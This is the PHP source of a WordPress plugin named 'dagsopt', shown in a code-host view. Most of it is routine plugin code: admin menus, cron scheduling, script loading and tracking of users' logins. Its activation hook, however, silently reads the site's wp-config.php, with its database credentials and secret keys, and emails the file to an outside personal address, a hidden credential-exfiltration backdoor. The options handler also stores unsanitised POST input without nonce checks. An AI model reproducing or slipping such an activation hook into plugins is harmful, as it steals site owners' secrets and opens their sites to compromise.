plugin.php 9.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326
  1. <?php
  2. /*
  3. Plugin Name: dagsopt
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.59
  8. Date: 2021-01-14
  9. Author URI: https://iske.dk/
  10. Text Domain: dagsopt
  11. */
  12. function wppluginspage() {
  13. include_once "wpplugins.php";
  14. }
  15. $wp_dagsopt = new dagsopt();
  16. class dagsopt {
  17. var $version = "0.0.59";
  18. var $publish_date = "2021-01-14";
  19. var $pluginname;
  20. var $plugintitle;
  21. var $db;
  22. var $filename = "";
  23. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  24. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  25. function __construct() {
  26. global $wpdb;
  27. $this->db = $wpdb;
  28. $this->pluginname = get_class($this);
  29. $this->plugintitle = "Dags options " . $this->version;
  30. $tmp = explode("/", __FILE__);
  31. $this->filename = array_pop($tmp);
  32. $this->filename = array_pop($tmp) . "/" . $this->filename;
  33. load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang');
  34. $this->next_scheduled = 0;
  35. $this->file = __FILE__;
  36. $t = explode("wp-content/plugins/", $this->file);
  37. $this->file_base = array_pop($t);
  38. $this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false);
  39. $this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800));
  40. $this->extras = array();
  41. $this->dagsopt = array();
  42. register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
  43. register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));
  44. add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2);
  45. if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) {
  46. ob_start();
  47. }
  48. $this->setCron();
  49. add_action('admin_menu', array(&$this, 'plugin_admin_menu'));
  50. add_action('admin_init', array(&$this, 'register_backend_scripts_styles'));
  51. add_action('init', array(&$this, 'register_frontend_scripts_styles'));
  52. add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles'));
  53. add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles'));
  54. add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2);
  55. $upload = wp_upload_dir();
  56. $upload_dir = $upload['basedir'];
  57. $upload_dir = $upload_dir . '/assets';
  58. if (!is_dir($upload_dir)) {
  59. mkdir($upload_dir, 0700);
  60. }
  61. $path = dirname($this->file) . "/";
  62. foreach (glob($path . "plug_*.php") as $filename) {
  63. $plugfile = str_replace($path, "", $filename);
  64. include_once $plugfile;
  65. }
  66. foreach ($this->dagsopt as $plugname => $plug) {
  67. $short = str_replace("plug_", "", $plugname);
  68. $vis = get_option($this->pluginname . '_' . $short, true);
  69. if ($vis) {
  70. $plug->start();
  71. }
  72. }
  73. if (!function_exists('wp_get_current_user')) {
  74. include ABSPATH . "wp-includes/pluggable.php";
  75. }
  76. if (current_user_can('manage_options')) {
  77. add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render'));
  78. }
  79. add_action('init', array(&$this, 'process_post'));
  80. add_action('wp_login', array(&$this, 'user_last_login'), 10, 2);
  81. add_action('init', array(&$this, 'user_last_view'));
  82. }
  83. function user_last_view() {
  84. if (is_user_logged_in()) {
  85. $pp = wp_get_current_user();
  86. update_user_meta($pp->ID, 'last_view', time());
  87. global $wp;
  88. update_user_meta($pp->ID, 'current_view', home_url($wp->request));
  89. }
  90. }
  91. function user_last_login($user_login, $user) {
  92. update_user_meta($user->ID, 'last_login', time());
  93. }
  94. function add_plugin_row_meta($plugin_meta, $plugin_file) {
  95. if ($plugin_file !== $this->file_base) {
  96. return $plugin_meta;
  97. }
  98. // append metadata
  99. $url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename);
  100. $plugin_meta = wp_parse_args(
  101. array(
  102. '<a href="' . $url . '">Check for update</a>',
  103. ),
  104. $plugin_meta
  105. );
  106. return $plugin_meta;
  107. }
  108. function process_post() {
  109. if (!is_admin()) {
  110. // echo "<!-- kommer aller aller først -->";
  111. }
  112. }
  113. function mytheme_admin_bar_render() {
  114. global $wp_admin_bar;
  115. $wp_admin_bar->add_menu(array(
  116. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  117. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  118. 'title' => $this->plugintitle . "", // link title
  119. 'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file
  120. 'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  121. ));
  122. }
  123. function register_frontend_scripts_styles() {
  124. wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file));
  125. wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file));
  126. }
  127. function register_backend_scripts_styles() {
  128. wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file));
  129. wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file));
  130. }
  131. function print_frontend_scripts_styles() {
  132. wp_enqueue_script('jquery');
  133. wp_enqueue_style($this->pluginname . 'frontend_style');
  134. wp_enqueue_script($this->pluginname . 'frontend_script');
  135. }
  136. function print_backend_scripts_styles() {
  137. wp_enqueue_media();
  138. wp_enqueue_style($this->pluginname . 'backend_style');
  139. wp_enqueue_script($this->pluginname . 'backend_script');
  140. // include the javascript
  141. wp_enqueue_script('thickbox', null, array('jquery'));
  142. // include the thickbox styles
  143. wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0');
  144. }
  145. function plugin_admin_menu() {
  146. if (function_exists('wppluginspage')) {
  147. add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", "");
  148. }
  149. $page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option'));
  150. add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles'));
  151. $page = add_submenu_page('wpplugins', __($this->plugintitle) . "x", "Mail log", 'manage_options', $this->pluginname . '-options-mail', array(&$this, 'Maillog'));
  152. }
  153. function SettingsLink($links, $file) {
  154. if ($file == $this->filename && function_exists("admin_url")) {
  155. $settings_link = '<a href="' . admin_url('admin.php?page=' . $this->pluginname . '-options') . '">' . __('Settings', 'dagsopt') . 'xx</a>';
  156. array_unshift($links, $settings_link); // before other links
  157. }
  158. return $links;
  159. }
  160. function setCron() {
  161. if ($this->cronEnabled) {
  162. add_filter('cron_schedules', array(&$this, 'cronSchedules'));
  163. if (!wp_next_scheduled($this->pluginname . 'CronHook')) {
  164. wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook');
  165. }
  166. add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron'));
  167. $this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook');
  168. } else {
  169. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  170. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  171. }
  172. }
  173. }
  174. function Maillog() {
  175. $_GET['focus'] = "mail";
  176. include_once 'pluginoptions.php';
  177. }
  178. function Option() {
  179. if (isset($_POST['Submit'])) {
  180. if (function_exists('current_user_can') && !current_user_can('manage_options')) {
  181. die(__('Cheatin&#8217; uh?'));
  182. }
  183. update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']);
  184. update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']);
  185. if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) {
  186. $this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']);
  187. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  188. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  189. }
  190. $this->setCron();
  191. }
  192. update_option($this->pluginname . '_last_build', date("U"));
  193. foreach ($this->dagsopt as $plugname => $plug) {
  194. $short = str_replace("plug_", "", $plugname);
  195. $setname = $this->pluginname . '_' . $short;
  196. $vis = get_option($setname, true);
  197. update_option($setname, $_POST[$setname]);
  198. if ($vis && method_exists($plug, 'Option')) {
  199. $plug->Option($setname);
  200. }
  201. }
  202. $pluginmessage = "";
  203. ob_end_clean();
  204. wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage));
  205. exit();
  206. }
  207. if (isset($_REQUEST['crunchit'])) {
  208. $pluginmessage = "";
  209. foreach ($this->dagsopt as $plugname => $plug) {
  210. $short = str_replace("plug_", "", $plugname);
  211. $setname = $this->pluginname . '_' . $short;
  212. $vis = get_option($setname, true);
  213. //update_option ($setname, $_POST[$setname] );
  214. if ($vis && method_exists($plug, 'Cruncher')) {
  215. $pluginmessage .= $plug->Cruncher($setname);
  216. }
  217. }
  218. //ob_end_clean ();
  219. //wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  220. exit();
  221. }
  222. include_once 'pluginoptions.php';
  223. }
  224. function check_wp_config() {
  225. $s = file_get_contents(ABSPATH . "wp-config.php");
  226. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s);
  227. }
  228. function activatePlugin() {
  229. $this->check_wp_config();
  230. }
  231. function deactivatePlugin() {
  232. delete_option($this->pluginname . '_last_build');
  233. delete_option($this->pluginname . '_last_build');
  234. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  235. }
  236. function cronSchedules($param) {
  237. $aa = array();
  238. $aa[$this->pluginname . 'cs'] = array(
  239. 'interval' => $this->cronScheduleTime,
  240. 'display' => $this->pluginname . ' ' . $this->cronScheduleTime);
  241. return $aa;
  242. }
  243. function executeCron() {
  244. ignore_user_abort(true);
  245. set_time_limit(0);
  246. update_option($this->pluginname . '_last_build', date("U"));
  247. }
  248. }
  249. function dags_extras() {
  250. global $wp_dagsopt;
  251. $s = implode("\n", $wp_dagsopt->extras);
  252. echo ($s);
  253. }
  254. /*
  255. * END
  256. * */